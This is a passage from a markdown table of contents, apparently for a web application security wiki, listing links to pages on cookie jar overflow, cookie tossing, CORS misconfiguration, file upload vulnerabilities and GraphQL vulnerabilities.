Overflow](Web%20Application/Cookie%20Security/cookie-jar-overflow.md) + - [Cookie Tossing](Web%20Application/Cookie%20Security/cookie-tossing.md) - [CORS Misconfiguration](Web%20Application/CORS%20Misconfiguration/README.md) - [File Upload Vulnerabilities](Web%20Application/File%20Upload%20Vulnerabilities/README.md) - [GraphQL Vulnerabilities](Web%20Application/GraphQL%20Vulnerabilities/README.md)